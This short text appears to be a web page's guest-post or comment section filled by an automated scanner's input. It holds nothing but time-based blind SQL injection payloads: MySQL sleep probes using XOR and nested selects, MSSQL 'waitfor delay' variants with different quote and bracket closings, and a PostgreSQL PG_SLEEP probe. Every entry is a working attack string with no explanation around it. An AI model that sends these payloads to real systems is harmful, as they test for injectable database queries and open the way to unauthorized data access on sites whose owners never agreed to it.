Guest:
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
1
-1; waitfor delay '0:0:15' --

Guest:
1
-1); waitfor delay '0:0:15' --

Guest:
1
-1 waitfor delay '0:0:15' --

Guest:
1
H75LzR6z'; waitfor delay '0:0:15' --

Guest:
1
tuHz6zOi'); waitfor delay '0:0:15' --

Guest:
1
AnGgCutk')); waitfor delay '0:0:15' --

Guest:
1
6FZvrefd' OR 548=(SELECT 548 FROM PG_SLEEP(15))--